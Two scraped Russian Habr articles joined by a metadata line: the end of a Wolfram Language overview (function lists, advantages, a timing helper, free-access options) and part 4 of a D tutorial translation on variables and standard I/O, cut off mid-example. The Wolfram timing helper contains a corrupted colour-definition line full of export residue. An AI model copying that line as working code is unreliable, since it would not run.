[BarabasiAlbertGraphDistribution](http://reference.wolfram.com/language/ref/BarabasiAlbertGraphDistribution.html), [BernoulliGraphDistribution](http://reference.wolfram.com/language/ref/BernoulliGraphDistribution.html), [DegreeGraphDistribution](http://reference.wolfram.com/language/ref/DegreeGraphDistribution.html), [GraphPropertyDistribution](http://reference.wolfram.com/language/ref/GraphPropertyDistribution.html), [PriceGraphDistribution](http://reference.wolfram.com/language/ref/PriceGraphDistribution.html), [SpatialGraphDistribution](http://reference.wolfram.com/language/ref/SpatialGraphDistribution.html), [UniformGraphDistribution](http://reference.wolfram.com/language/ref/UniformGraphDistribution.html), [WattsStrogatzGraphDistribution](http://reference.wolfram.com/language/ref/WattsStrogatzGraphDistribution.html)
### Page (8)
[GroupPageBreakWithin](http://reference.wolfram.com/language/ref/GroupPageBreakWithin.html), [PageBreakAbove](http://reference.wolfram.com/language/ref/PageBreakAbove.html), [PageBreakBelow](http://reference.wolfram.com/language/ref/PageBreakBelow.html), [PageBreakWithin](http://reference.wolfram.com/language/ref/PageBreakWithin.html), [PageFooters](http://reference.wolfram.com/language/ref/PageFooters.html), [PageHeaders](http://reference.wolfram.com/language/ref/PageHeaders.html), [PageWidth](http://reference.wolfram.com/language/ref/PageWidth.html), [ShowPageBreaks](http://reference.wolfram.com/language/ref/ShowPageBreaks.html)
### Web Session (8)
[StartWebSession](http://reference.wolfram.com/language/ref/StartWebSession.html), [WebElementObject](http://reference.wolfram.com/language/ref/WebElementObject.html), [WebExecute](http://reference.wolfram.com/language/ref/WebExecute.html), [WebImage](http://reference.wolfram.com/language/ref/WebImage.html), [WebSessionObject](http://reference.wolfram.com/language/ref/WebSessionObject.html), [WebSessions](http://reference.wolfram.com/language/ref/WebSessions.html), [WebWindowObject](http://reference.wolfram.com/language/ref/WebWindowObject.html), [$CurrentWebSession](http://reference.wolfram.com/language/ref/%24CurrentWebSession.html)
### Databin (7)
[CopyDatabin](http://reference.wolfram.com/language/ref/CopyDatabin.html), [CreateDatabin](http://reference.wolfram.com/language/ref/CreateDatabin.html), [Databin](http://reference.wolfram.com/language/ref/Databin.html), [DatabinAdd](http://reference.wolfram.com/language/ref/DatabinAdd.html), [DatabinRemove](http://reference.wolfram.com/language/ref/DatabinRemove.html), [Databins](http://reference.wolfram.com/language/ref/Databins.html), [DatabinUpload](http://reference.wolfram.com/language/ref/DatabinUpload.html)
### Interpolation (7)
[FunctionInterpolation](http://reference.wolfram.com/language/ref/FunctionInterpolation.html), [InterpolatingFunction](http://reference.wolfram.com/language/ref/InterpolatingFunction.html), [InterpolatingPolynomial](http://reference.wolfram.com/language/ref/InterpolatingPolynomial.html), [Interpolation](http://reference.wolfram.com/language/ref/Interpolation.html), [InterpolationOrder](http://reference.wolfram.com/language/ref/InterpolationOrder.html), [InterpolationPoints](http://reference.wolfram.com/language/ref/InterpolationPoints.html), [ListInterpolation](http://reference.wolfram.com/language/ref/ListInterpolation.html)
### Number (7)
[Negative](http://reference.wolfram.com/language/ref/Negative.html), [NonNegative](http://reference.wolfram.com/language/ref/NonNegative.html), [NonPositive](http://reference.wolfram.com/language/ref/NonPositive.html), [NumericalOrder](http://reference.wolfram.com/language/ref/NumericalOrder.html), [NumericalSort](http://reference.wolfram.com/language/ref/NumericalSort.html), [Positive](http://reference.wolfram.com/language/ref/Positive.html), [PossibleZeroQ](http://reference.wolfram.com/language/ref/PossibleZeroQ.html)
### Quantity Variable (7)
[ExcludedPhysicalQuantities](http://reference.wolfram.com/language/ref/ExcludedPhysicalQuantities.html), [QuantityVariable](http://reference.wolfram.com/language/ref/QuantityVariable.html), [QuantityVariableCanonicalUnit](http://reference.wolfram.com/language/ref/QuantityVariableCanonicalUnit.html), [QuantityVariableDimensions](http://reference.wolfram.com/language/ref/QuantityVariableDimensions.html), [QuantityVariableIdentifier](http://reference.wolfram.com/language/ref/QuantityVariableIdentifier.html), [QuantityVariablePhysicalQuantity](http://reference.wolfram.com/language/ref/QuantityVariablePhysicalQuantity.html), [RequiredPhysicalQuantities](http://reference.wolfram.com/language/ref/RequiredPhysicalQuantities.html)
### Series (7)
[ComposeSeries](http://reference.wolfram.com/language/ref/ComposeSeries.html), [InverseSeries](http://reference.wolfram.com/language/ref/InverseSeries.html), [O](http://reference.wolfram.com/language/ref/O.html), [PadeApproximant](http://reference.wolfram.com/language/ref/PadeApproximant.html), [Series](http://reference.wolfram.com/language/ref/Series.html), [SeriesCoefficient](http://reference.wolfram.com/language/ref/SeriesCoefficient.html), [SeriesData](http://reference.wolfram.com/language/ref/SeriesData.html)
### Symbol Value (7)
[DownValues](http://reference.wolfram.com/language/ref/DownValues.html), [FullDefinition](http://reference.wolfram.com/language/ref/FullDefinition.html), [Information](http://reference.wolfram.com/language/ref/Information.html), [OwnValues](http://reference.wolfram.com/language/ref/OwnValues.html), [SyntaxInformation](http://reference.wolfram.com/language/ref/SyntaxInformation.html), [UpValues](http://reference.wolfram.com/language/ref/UpValues.html), [ValueQ](http://reference.wolfram.com/language/ref/ValueQ.html)
### Viewer (7)
[FlipView](http://reference.wolfram.com/language/ref/FlipView.html), [GalleryView](http://reference.wolfram.com/language/ref/GalleryView.html), [OpenerView](http://reference.wolfram.com/language/ref/OpenerView.html), [Pagination](http://reference.wolfram.com/language/ref/Pagination.html), [PopupView](http://reference.wolfram.com/language/ref/PopupView.html), [SlideView](http://reference.wolfram.com/language/ref/SlideView.html), [TabView](http://reference.wolfram.com/language/ref/TabView.html)
### Wolfram Alpha (7)
[Asynchronous](http://reference.wolfram.com/language/ref/Asynchronous.html), [ExcludePods](http://reference.wolfram.com/language/ref/ExcludePods.html), [IncludePods](http://reference.wolfram.com/language/ref/IncludePods.html), [InputAssumptions](http://reference.wolfram.com/language/ref/InputAssumptions.html), [PodStates](http://reference.wolfram.com/language/ref/PodStates.html), [PodWidth](http://reference.wolfram.com/language/ref/PodWidth.html), [WolframAlpha](http://reference.wolfram.com/language/ref/WolframAlpha.html)
### Controller (6)
[ControllerInformation](http://reference.wolfram.com/language/ref/ControllerInformation.html), [ControllerLinking](http://reference.wolfram.com/language/ref/ControllerLinking.html), [ControllerManipulate](http://reference.wolfram.com/language/ref/ControllerManipulate.html), [ControllerMethod](http://reference.wolfram.com/language/ref/ControllerMethod.html), [ControllerPath](http://reference.wolfram.com/language/ref/ControllerPath.html), [ControllerState](http://reference.wolfram.com/language/ref/ControllerState.html)
### Local Object (6)
[LocalObject](http://reference.wolfram.com/language/ref/LocalObject.html), [LocalObjects](http://reference.wolfram.com/language/ref/LocalObjects.html), [LocalSymbol](http://reference.wolfram.com/language/ref/LocalSymbol.html), [$DefaultLocalBase](http://reference.wolfram.com/language/ref/%24DefaultLocalBase.html), [$LocalBase](http://reference.wolfram.com/language/ref/%24LocalBase.html), [$LocalSymbolBase](http://reference.wolfram.com/language/ref/%24LocalSymbolBase.html)
### Numeric Constant (6)
[Catalan](http://reference.wolfram.com/language/ref/Catalan.html), [EulerGamma](http://reference.wolfram.com/language/ref/EulerGamma.html), [Glaisher](http://reference.wolfram.com/language/ref/Glaisher.html), [GoldenAngle](http://reference.wolfram.com/language/ref/GoldenAngle.html), [GoldenRatio](http://reference.wolfram.com/language/ref/GoldenRatio.html), [Khinchin](http://reference.wolfram.com/language/ref/Khinchin.html)
### Slider (6)
[ColorSlider](http://reference.wolfram.com/language/ref/ColorSlider.html), [IntervalSlider](http://reference.wolfram.com/language/ref/IntervalSlider.html), [MinIntervalSize](http://reference.wolfram.com/language/ref/MinIntervalSize.html), [Slider](http://reference.wolfram.com/language/ref/Slider.html), [Slider2D](http://reference.wolfram.com/language/ref/Slider2D.html), [VerticalSlider](http://reference.wolfram.com/language/ref/VerticalSlider.html)
### Test (6)
[TestID](http://reference.wolfram.com/language/ref/TestID.html), [TestReport](http://reference.wolfram.com/language/ref/TestReport.html), [TestReportObject](http://reference.wolfram.com/language/ref/TestReportObject.html), [TestResultObject](http://reference.wolfram.com/language/ref/TestResultObject.html), [VerificationTest](http://reference.wolfram.com/language/ref/VerificationTest.html), [$TestFileName](http://reference.wolfram.com/language/ref/%24TestFileName.html)
### Text String (6)
[BooleanStrings](http://reference.wolfram.com/language/ref/BooleanStrings.html), [ElidedForms](http://reference.wolfram.com/language/ref/ElidedForms.html), [ListFormat](http://reference.wolfram.com/language/ref/ListFormat.html), [MissingString](http://reference.wolfram.com/language/ref/MissingString.html), [TextString](http://reference.wolfram.com/language/ref/TextString.html), [TimeFormat](http://reference.wolfram.com/language/ref/TimeFormat.html)
### Travel (6)
[TravelDirections](http://reference.wolfram.com/language/ref/TravelDirections.html), [TravelDirectionsData](http://reference.wolfram.com/language/ref/TravelDirectionsData.html), [TravelDistance](http://reference.wolfram.com/language/ref/TravelDistance.html), [TravelDistanceList](http://reference.wolfram.com/language/ref/TravelDistanceList.html), [TravelMethod](http://reference.wolfram.com/language/ref/TravelMethod.html), [TravelTime](http://reference.wolfram.com/language/ref/TravelTime.html)
### Continued Fraction (5)
[ContinuedFraction](http://reference.wolfram.com/language/ref/ContinuedFraction.html), [ContinuedFractionK](http://reference.wolfram.com/language/ref/ContinuedFractionK.html), [Convergents](http://reference.wolfram.com/language/ref/Convergents.html), [FromContinuedFraction](http://reference.wolfram.com/language/ref/FromContinuedFraction.html), [QuadraticIrrationalQ](http://reference.wolfram.com/language/ref/QuadraticIrrationalQ.html)
### Infinity (5)
[ComplexInfinity](http://reference.wolfram.com/language/ref/ComplexInfinity.html), [DirectedInfinity](http://reference.wolfram.com/language/ref/DirectedInfinity.html), [Indeterminate](http://reference.wolfram.com/language/ref/Indeterminate.html), [Overflow](http://reference.wolfram.com/language/ref/Overflow.html), [Underflow](http://reference.wolfram.com/language/ref/Underflow.html)
### Menu (5)
[DefaultMenuStyle](http://reference.wolfram.com/language/ref/DefaultMenuStyle.html), [MenuCommandKey](http://reference.wolfram.com/language/ref/MenuCommandKey.html), [MenuSortingValue](http://reference.wolfram.com/language/ref/MenuSortingValue.html), [MenuStyle](http://reference.wolfram.com/language/ref/MenuStyle.html), [MenuView](http://reference.wolfram.com/language/ref/MenuView.html)
### Package (5)
[BeginPackage](http://reference.wolfram.com/language/ref/BeginPackage.html), [DeclarePackage](http://reference.wolfram.com/language/ref/DeclarePackage.html), [EndPackage](http://reference.wolfram.com/language/ref/EndPackage.html), [Needs](http://reference.wolfram.com/language/ref/Needs.html), [$Packages](http://reference.wolfram.com/language/ref/%24Packages.html)
### Raw Expression (5)
[Hash](http://reference.wolfram.com/language/ref/Hash.html), [NumericArray](http://reference.wolfram.com/language/ref/NumericArray.html), [NumericArrayQ](http://reference.wolfram.com/language/ref/NumericArrayQ.html), [NumericArrayType](http://reference.wolfram.com/language/ref/NumericArrayType.html), [RawData](http://reference.wolfram.com/language/ref/RawData.html)
### Set (5)
[AnySubset](http://reference.wolfram.com/language/ref/AnySubset.html), [DisjointQ](http://reference.wolfram.com/language/ref/DisjointQ.html), [IntersectingQ](http://reference.wolfram.com/language/ref/IntersectingQ.html), [SameTest](http://reference.wolfram.com/language/ref/SameTest.html), [SubsetQ](http://reference.wolfram.com/language/ref/SubsetQ.html)
### Symbol Context (5)
[Begin](http://reference.wolfram.com/language/ref/Begin.html), [Context](http://reference.wolfram.com/language/ref/Context.html), [End](http://reference.wolfram.com/language/ref/End.html), [$Context](http://reference.wolfram.com/language/ref/%24Context.html), [$ContextPath](http://reference.wolfram.com/language/ref/%24ContextPath.html)
### Uncertainty (5)
[Around](http://reference.wolfram.com/language/ref/Around.html), [AroundReplace](http://reference.wolfram.com/language/ref/AroundReplace.html), [ComputeUncertainty](http://reference.wolfram.com/language/ref/ComputeUncertainty.html), [MeanAround](http://reference.wolfram.com/language/ref/MeanAround.html), [VectorAround](http://reference.wolfram.com/language/ref/VectorAround.html)
### Function (4)
[ComposeList](http://reference.wolfram.com/language/ref/ComposeList.html), [Construct](http://reference.wolfram.com/language/ref/Construct.html), [Curry](http://reference.wolfram.com/language/ref/Curry.html), [InverseFunction](http://reference.wolfram.com/language/ref/InverseFunction.html)
### Real (4)
[MantissaExponent](http://reference.wolfram.com/language/ref/MantissaExponent.html), [Rationalize](http://reference.wolfram.com/language/ref/Rationalize.html), [RealExponent](http://reference.wolfram.com/language/ref/RealExponent.html), [Reals](http://reference.wolfram.com/language/ref/Reals.html)
### Rule (4)
[Dispatch](http://reference.wolfram.com/language/ref/Dispatch.html), [ReplaceList](http://reference.wolfram.com/language/ref/ReplaceList.html), [ReplaceRepeated](http://reference.wolfram.com/language/ref/ReplaceRepeated.html), [TwoWayRule](http://reference.wolfram.com/language/ref/TwoWayRule.html)
### Scheduled Task (4)
[ContinuousTask](http://reference.wolfram.com/language/ref/ContinuousTask.html), [IncludeGeneratorTasks](http://reference.wolfram.com/language/ref/IncludeGeneratorTasks.html), [RestartInterval](http://reference.wolfram.com/language/ref/RestartInterval.html), [ScheduledTask](http://reference.wolfram.com/language/ref/ScheduledTask.html)
### Angle (3)
[DMSList](http://reference.wolfram.com/language/ref/DMSList.html), [DMSString](http://reference.wolfram.com/language/ref/DMSString.html), [FromDMS](http://reference.wolfram.com/language/ref/FromDMS.html)
### Asynchronous Task (3)
[HandlerFunctions](http://reference.wolfram.com/language/ref/HandlerFunctions.html), [HandlerFunctionsKeys](http://reference.wolfram.com/language/ref/HandlerFunctionsKeys.html), [NotificationFunction](http://reference.wolfram.com/language/ref/NotificationFunction.html)
### Complex (3)
[AbsArg](http://reference.wolfram.com/language/ref/AbsArg.html), [Complexes](http://reference.wolfram.com/language/ref/Complexes.html), [ReIm](http://reference.wolfram.com/language/ref/ReIm.html)
### Front End Execution (3)
[FrontEndExecute](http://reference.wolfram.com/language/ref/FrontEndExecute.html), [FrontEndToken](http://reference.wolfram.com/language/ref/FrontEndToken.html), [FrontEndTokenExecute](http://reference.wolfram.com/language/ref/FrontEndTokenExecute.html)
### Interval (3)
[IntervalIntersection](http://reference.wolfram.com/language/ref/IntervalIntersection.html), [IntervalMemberQ](http://reference.wolfram.com/language/ref/IntervalMemberQ.html), [IntervalUnion](http://reference.wolfram.com/language/ref/IntervalUnion.html)
### Special (3)
[After](http://reference.wolfram.com/language/ref/After.html), [Before](http://reference.wolfram.com/language/ref/Before.html), [Full](http://reference.wolfram.com/language/ref/Full.html)
### (3)
[Remove](http://reference.wolfram.com/language/ref/Remove.html), [SymbolName](http://reference.wolfram.com/language/ref/SymbolName.html), [Unique](http://reference.wolfram.com/language/ref/Unique.html)
### Autocomplete (2)
[Autocomplete](http://reference.wolfram.com/language/ref/Autocomplete.html), [AutocompletionFunction](http://reference.wolfram.com/language/ref/AutocompletionFunction.html)
### (2)
[AlternateImage](http://reference.wolfram.com/language/ref/AlternateImage.html), [CDFDeploy](http://reference.wolfram.com/language/ref/CDFDeploy.html)
### Global Options (2)
[FindSettings](http://reference.wolfram.com/language/ref/FindSettings.html), [Language](http://reference.wolfram.com/language/ref/Language.html)
### Palette (2)
[CreatePalette](http://reference.wolfram.com/language/ref/CreatePalette.html), [PaletteNotebook](http://reference.wolfram.com/language/ref/PaletteNotebook.html)
### Rational (2)
[MixedFractionParts](http://reference.wolfram.com/language/ref/MixedFractionParts.html), [NumeratorDenominator](http://reference.wolfram.com/language/ref/NumeratorDenominator.html)
### Module (1)
[BlockRandom](http://reference.wolfram.com/language/ref/BlockRandom.html)
### Option (1)
[AbsoluteOptions](http://reference.wolfram.com/language/ref/AbsoluteOptions.html)
* **Огромные встроенные базы данных и наборы алгоритмов**: [Entity](http://reference.wolfram.com/language/guide/EntityTypes.html) (доступ к встроенным данным по самым разным областям: от фильмов до аэропортов и музыки), [репозиторий данных](https://datarepository.wolframcloud.com/?source=nav) (Wolfram Data Repository), [репозиторий нейронных сетей](https://resources.wolframcloud.com/NeuralNetRepository/?source=nav) (Wolfram Neural Net Repository), [репозиторий готовых функций от пользователей](https://resources.wolframcloud.com/NeuralNetRepository/?source=nav) (Wolfram Function Repository) и многое другое.
* **Высокая степень интеграции компонент**. Возможность использовать совершенно разные области знаний совместно, для решения одной сложной задачи. Вы можете почитать [мои статьи и переводы](https://habr.com/ru/users/osipovroman/posts/), чтобы убедиться в этом.
* **Сверх-быстрый цикл разработки**: создание и внедрение сложного приложения реально сделать (часто) за день, для рельно очень сложных задач — за неделю. Посмотрите записи выступлений:
**Разработка больших приложений в Mathematica | Леонид Шифрин | Конференция Wolfram Технологии 2014**
**Роман Осипов | Решение срочных разноплановых задач с помощью Wolfram Language**
**Осипов Роман | Разработка практических приложений на основе Wolfram технологий**
* **Простое создание облачных сервисов за считанные минуты** — API, формы ввода, хранилища данных, сайты, интерактивы. Все это делается из любой системы, в которой работает Wolfram Language. Все объекты можно использовать как непосредственно, так и встраивая их в свой сайт. Подробнее можно посмотреть в видео:
**Подробный обзор Wolfram Programming Cloud**
(видео устарело, Wolfram Cloud сейчас намного круче, в чем вы можете убедиться лично — в скором времени я планирую рассказать о нем подробнее).
* **Короткий и выразительный код**. Код в Wolfram Language по сути самый короткий среди языков программирования — см. статью "[Розеттский код: измеряем длину кода в огромном количестве языков программирования, изучаем близость языков между собой](https://habr.com/ru/company/wolfram/blog/471244/)".
* **Символьная парадигма, которая дает возможность решать задачи и разрабатывать код на высоком уровне абстракции**. При этом язык Wolfram Language — что называется «Problem-oriented» — на нем можно программировать буквально «как думаешь», в парадигме, естественной для решаемой задачи. Подробнее см. запись
**Символьные возможности языка Wolfram | Роман Осипов | Конференция Wolfram Технологии 2014**
* **Очень высокая степень интерактивности и визуализации результатов**. Тут важно отметить, что можно налету создавать динамические объекты (**[`Manipulate`](http://reference.wolfram.com/language/ref/Manipulate.html)**, **[`Dynamic`](http://reference.wolfram.com/language/ref/Dynamic.html)**, **[`DynamicModule`](http://reference.wolfram.com/language/ref/DynamicModule.html)**, **[`EventHandler`](http://reference.wolfram.com/language/ref/EventHandler.html)**) или вычислять все непосредственно в документе, а сам документ при этом по сути представляет собой интерактивную книгу (эта статья, как я отмечал выше, тоже создана непосредственно в главном средстве разработки на языке Wolfram Language — системе Mathematica).
* **Поддержка современных парадигм программирования**:
+ *процедурное программирование* — как в Fortran, C, Matlab;
+ *функциональное программирование* — как в Lisp, Haskell, Ocaml/F#, Scala, Clojure;
+ *логическое программирование* — как в Prolog;
+ *программирование на массивах и структурных операциях* — как в APL, Matlab;
+ *объектно-ориентированное программирование* — доступно пока в виде отдельного расширения.
**Вспомогательные конструкции**
```
ClearAll[timing];
SetAttributes[timing, HoldAll];
timing[expr_]:=(ClearSystemCache[];
AbsoluteTiming[expr]);
```
```
ClearAll[compareTiming];
SetAttributes[compareTiming, HoldAll];
compareTiming[expr_List, OptionsPattern[{"OrderQ"->True}]]:=Module[{t, v, c1, c2, holdExpr, colorF, order, rescale},
colorF=Blend[{ColorSwatchGraphicsFontCapHeightRGBColor[19255, 167255, 107255]DeployedRGBColorValueSelectorClosingActionsSelectionDepartureParentChangedEvaluatorQuitPreemptive, ColorSwatchGraphicsFontCapHeightRGBColor[1, 101255, 47255]DeployedRGBColorValueSelectorClosingActionsSelectionDepartureParentChangedEvaluatorQuitPreemptive}, #]&;
holdExpr=ReleaseHold@Map[HoldForm, HoldForm@expr, {2}];
{t, v}=Transpose[timing[ReleaseHold[#]]&/@holdExpr];
order=If[OptionValue["OrderQ"], Reverse[Ordering[t]], Range[1, Length[expr]]];
t=t[[order]];
rescale=Evaluate[Rescale[#, MinMax[t], {0, 1}]]&;
v=v[[order]];
holdExpr=holdExpr[[order]];
If[Length[DeleteDuplicates[v]]>1, Echo["Возможно неодинаковый результат работы программ"]];
Framed[Grid[{{Style[#, Bold]&@"Сравнение скорости работы программ на языке Wolfram Language"},
{Grid[{{"Код", "Время, с"}}~Join~Table[{Style[holdExpr[[ind]], "Input", Background->Transparent], t[[ind]]}, {ind, 1, Length[expr]}], Alignment->{{Left, Center}, {Center, Center}}, Dividers->White, Background->{None, {LightGray}~Join~(colorF@*rescale/@t)}, ItemSize->{{30, 8}, Automatic}]},
If[Length[expr]==2, {Row[{"Код ускорен в ", Style[Round[Max[t]/Min[t], 1/100]//N, Bold], " раз"}]}, {Row[{"Максимальное ускорение кода ", Style[Round[Max[t]/Min[t], 1/100]//N, Bold], " раз"}]}],
{Graphics[
Table[{Opacity[0.6], colorF@*rescale@t[[ind]], Rectangle[{0, 1-ind-0.2(ind-1)}, {t[[ind]], 2-ind-0.2(ind-1)}]}, {ind, 1, Length[expr]}],
ImageSize->{500, Automatic}, PlotRange->{{0, Max[t]}, {1.2(1-Length[expr]), 1}}, AspectRatio->1/(9-Length[expr]/2),
Axes->False, Ticks->{Automatic, None}, FrameTicks->{All, None},
GridLines->{Automatic, None}, Background->White, PlotRangePadding->0, Frame->True, FrameLabel->{{None, None}, {"Время, с", None}}]}
},
ItemStyle->Directive[FontSize -> 14, FontFamily->"Open Sans Light"]], Background->White, FrameStyle->None]];
```
Как начать работу? Бесплатно)
-----------------------------
Не многие знают, что можно начать работу с движком Wolfram и языком Wolfram Language совершенно бесплатно. Ниже перечислены ключевые варианты:
* **Wolfram Cloud** — [бесплатный план](https://www.wolframcloud.com/) (все функции доступны, ограничения только на время вычислений и запросы к базам данных).
* **Wolfram Programming Lab** — бесплатная лаборатория программирования Wolfram для изучения языка Wolfram Language. Подробнее см. [перевод на Хабре](https://habr.com/ru/company/wolfram/blog/275855/).
* **Wolfram Engine** — бесплатная библиотека для разработчиков программного обеспечения. Подробнее [см. перевод на Хабре](https://habr.com/ru/company/wolfram/blog/471812/).
* **Raspberry Pi** — система Mathematica поставляется бесплатно на каждой версии этого замечательного компьютера. [Подробнее](https://www.wolfram.com/raspberry-pi/)...
P.S.
----
На моем [канале YouTube](https://www.youtube.com/channel/UC7JeG87kenaPEjEJBA6tmKw) есть две важные рубрики: "[КиЯ — Коротко и Ясно](https://www.youtube.com/playlist?list=PLgkI1WEMuGJnRf_ah7HFd97-OLHFmBqZ8)" (выходят ежедневно) и [Вебинары](https://www.youtube.com/playlist?list=PLgkI1WEMuGJkuhiXG4D-6Qf75g9rk1BAm) (еженедельно). Подписывайтесь на канал, он будет полезен каждому, кто работает с языком Wolfram Language!
> Для сотрудничества — пишите личное сообщение на Хабре или в [мою группу ВКонтакте](https://vk.com/wolfram24).
>
> [**Регистрация** на новые курсы](http://wolframmathematica.ru/#course). Готовый [**онлайн курс**](https://blog.wolframmathematica.ru/2076/08-10-2019/). | https://habr.com/ru/post/473220/ | null | ru | null |
# Учебник по языку программирования D. Часть 4
Четвертая часть перевода [D Programming Language Tutorial](http://ddili.org/ders/d.en/index.html) от [Ali Çehreli](http://ddili.org/AliCehreli_resume.html).
Другие части:
* [Часть 1](http://habrahabr.ru/post/226071/)
* [Часть 2](http://habrahabr.ru/post/226565/)
* [Часть 3](http://habrahabr.ru/post/243595/#)
* Часть 4
1. [Переменные](#Variables)
2. [Стандартные потоки ввода и вывода](#StandartIO)
3. [Чтение из стандартного потока ввода](#ReadingStdInput)
Переменные
==========
Конкретные понятия, которые представлены в программе, называются *переменными*. Значение вроде *температура воздуха* или более сложный объект, как *двигатель машины*, могут быть переменными в программе.
Каждая переменная имеет определенный тип и определенное значение. Большинство переменных также имеют имена, но некоторые являются анонимными.
В качестве примера переменной мы можем рассматривать концепцию *числа учеников* в школе. Так как число студентов является целым числом, **int** — подходящий тип, и **studentCount** будет достаточно описывающим именем.
Согласно синтаксическим правилам D переменная начинается с ее типа с последующим именем. Введение переменной в программу называется *определением*. Как только переменная определена, ее имя начинает представлять ее значение.
> import std.stdio;
>
>
>
> void main()
>
> {
>
> // Определение переменной; это определение
>
> // указывает, что типом studentCount является int:
>
> int studentCount;
>
>
>
> // Название переменной становится ее значением:
>
> writeln("Присутствует ", studentCount, " учеников.");
>
> }
Вывод этой программы:
```
Присутствует 0 учеников
```
Как видно из этой строки, значение **studentCount** равно 0. Согласно таблице фундаментальных типов из прошлой главы: начальное значение **int** равно 0.
Заметьте, что строка **studentCount** не появляется в выводе. Другими словами, программа не выводит «Присутствует studentCount учеников».
Значения переменных изменяются с помощью оператора **=**. Оператор **=** присваивает новые значения переменным, и по этой причине и называется *оператором присвоения*:
> import std.stdio;
>
>
>
> void main()
>
> {
>
> int studentCount;
>
> writeln("Присутствует ", studentCount, " учеников.");
>
>
>
> // Присваивание значения 200 переменной studentCount:
>
> studentCount = 200;
>
> writeln("Теперь присутствует ", studentCount, " учеников.");
>
> }
```
Присутствует 0 учеников.
Теперь присутствует 200 учеников.
```
Когда значение переменной известно в момент определения, значение переменной может быть присвоено одновременно с ее определением. Это важный принцип; это делает невозможным использование переменной до момента присвоения предназначенного ей значения:
> import std.stdio;
>
>
>
> void main()
>
> {
>
> // Одноврменное определение и присвоение значения:
>
> int studentCount = 100;
>
>
>
> writeln("Присутствует ", studentCount, " учеников.");
>
> }
```
Присутствует 100 учеников.
```
Упражнения
----------
* Определите две переменные для вывода «Я обменял 20 евро по курсу 2.11». Для значения с плавающей точкой используйте **double**.
**... решение**<--!
import std.stdio;
void main()
{
int amount = 20;
double rate = 2.11;
writeln(«Я обменял », amount,
" евро по курсу ", rate);
}
-->
> import std.stdio;
>
>
>
> void main()
>
> {
>
> int amount = 20;
>
> double rate = 2.11;
>
>
>
> writeln("Я обменял ", amount,
>
> " евро по курсу ", rate);
>
> }
Стандартные потоки ввода и вывода
=================================
До этого момента весь напечатанный вывод наших программ появлялся в *окне консоли*. Хотя это на самом деле часто используется многими программами, на самом деле символы выводятся в *стандартные потоки вывода*.
Стандартный вывод основан на символах; все, что печатается, сначала конвертируется в символьное представление и потом последовательно отправляется на вывод как символы. Например, целочисленное значение 100, которое мы выводили в прошлой главе не посылается на вывод как значение 100, а как три символа **1**, **0** и **0**.
Аналогично то, что мы обычно воспринимаем как *клавиатура*, на самом деле является *стандартным потоком ввода* программы, и он также основан на символах. Информация всегда поступает как символы для конвертацию в данные. Для примера целочисленное значение 42 на самом деле приходит через стандартный ввод как символы **4** и **2**.
Эти преобразования производятся автоматически.
Это понятие последовательных символов называется *символьным потоком*. Так как стандартный поток ввода и стандартный поток вывода подходят под это описание, они являются символьными потоками.
Названия стандартных потоков ввода и вывода в D — **stdin** и **stdout** соответственно.
Операции над этими потоками обычно требуют имя потока, точку и название операции; например **stream.operation()**. Так как **stdin** и **stdout** используются очень часто, по соглашению, стандартные операции над ними могут быть вызываны без необходимости указывания имени и точки, например **operation()**.
**writeln**, которую мы использовали в предыдущих главах на самом деле является сокращением от **stdout.writeln**. Также **write** — сокращение от **stdout.write**. Соответственно программа «привет мир» может быть написана так:
> import std.stdio;
>
>
>
> void main()
>
> {
>
> stdout.writeln("Hello world!");
>
> }
#### Упражнения
* Убедитесь, что **stdout.write** работает также, как **write**.
**... решение**
> import std.stdio;
>
>
>
> void main()
>
> {
>
> stdout.writeln(1, ",", 2);
>
> }
Чтение из стандартного потока ввода
===================================
Любые данные, которые были прочитаны программой, должны быть сперва сохранены в переменную. Например, программа, которая читает количество студентов из стандартного потока ввода, должна сохранить эту информацию в переменную. Типом этой конкретной переменной может быть int.
Как мы убедились в предыдущей главе, нет необходимости указывать **stdout**, когда выводим информацию, так как он предполагается. Далее, то, что выводится, указывается как аргумент. Поэтому **write(studentCount)** достаточно, чтобы вывести значение **studentCount**. Подведем итог:
```
поток: stdout
операция: write
данные: значение переменной studentCount
цель: обычно, окно терминала
```
Обратная операции write — readf; она читает из стандартного потока ввода. Буква «f» в имени взята от «formatted», так как то, что читает эта функция, должно быть всегда представлено в определенном формате.
Также в прошлой главе мы узнали, что стандартный поток ввода называется **stdin**.
В случае чтения один кусочек головоломки все еще отсутствует: куда сохранить данные. Подведем итоги:
```
поток: stdin
операция: readf
данные: некоторая информация
цель: ?
```
Расположение места, куда необходимо сохранить данные, указывается с помощью адреса переменной. Адресом переменной является точное положение в памяти компьютера, где хранится ее значение.
В D символ '&', напечатанный перед именем, является указанием адреса того, что представляет эта переменная. Например, адресом **studentCount** является **&studentCount**. Здесь, **&studentCount** может быть прочитано как «адрес **studentCount**», и это недостающий кусок, который заменяет знак вопроса выше:
```
поток: stdin
операция: readf
данные: некоторая информация
цель: расположение переменной studentCount
```
Набор символа & перед именем означает *взятие адреса* того, что представляет это имя. Это понятие является основой ссылок и указателей, которые мы увидим в следующих главах.
Я отложу объяснение одной особенности использования **readf**; сейчас, примем правило о том, что первым аргументом **readf** должна быть строка "%s":
```
readf("%s", &studentCount);
```
***Заметка:** Как я объясняю ниже, в большинстве случаев в строке также должен присутствовать пробел: " %s".*
"%s" указывает, что данные должны быть автоматически преобразованы таким способом, который подходит под тип переменной. Например, когда символы '4' и '2' читаются в переменную типа **int**, они должны быть преобразованы в целочисленное значение 42.
Программа ниже просит пользователя ввести число учеников. Необходимо нажать клавишу Enter после окончания ввода:
> import std.stdio;
>
>
>
> void main()
>
> {
>
> write("Сколько присутствует учеников? ");
>
>
>
> /\*
>
> \* Объявление переменной, которая будет использована для
>
> \* хранения информации, которая читается из потока ввода
>
> \*/
>
> int studentCount;
>
>
>
> // Запись входных данных в эту переменную
>
> readf("%s", &studentCount);
>
>
>
> writeln("Понял: Присутствует ", studentCount, " учеников.");
>
> }
Пропуск пробельных символов
---------------------------
Даже клавиша Enter, которую мы нажимаем после ввода данных, сохраняется как специальный код и помещается в поток **stdin**. Это помогает программам обнаруживать, была ли информация введена в одной или нескольких строчках.
Хотя это иногда полезно, такие специфические коды в большинстве случаев не важны для программы и должны быть удалены из ввода. Иначе они *блокируют* ввод и не дают читать другие данные.
Для демонстрации проблемы, давайте читать также число преподавателей из потока ввода:
> import std.stdio;
>
>
>
> void main()
>
> {
>
> write("Сколько присутствует учеников? ");
>
> int studentCount;
>
> readf("%s", &studentCount);
>
>
>
> write("Сколько присутствует преподавателей? ");
>
> int teacherCount;
>
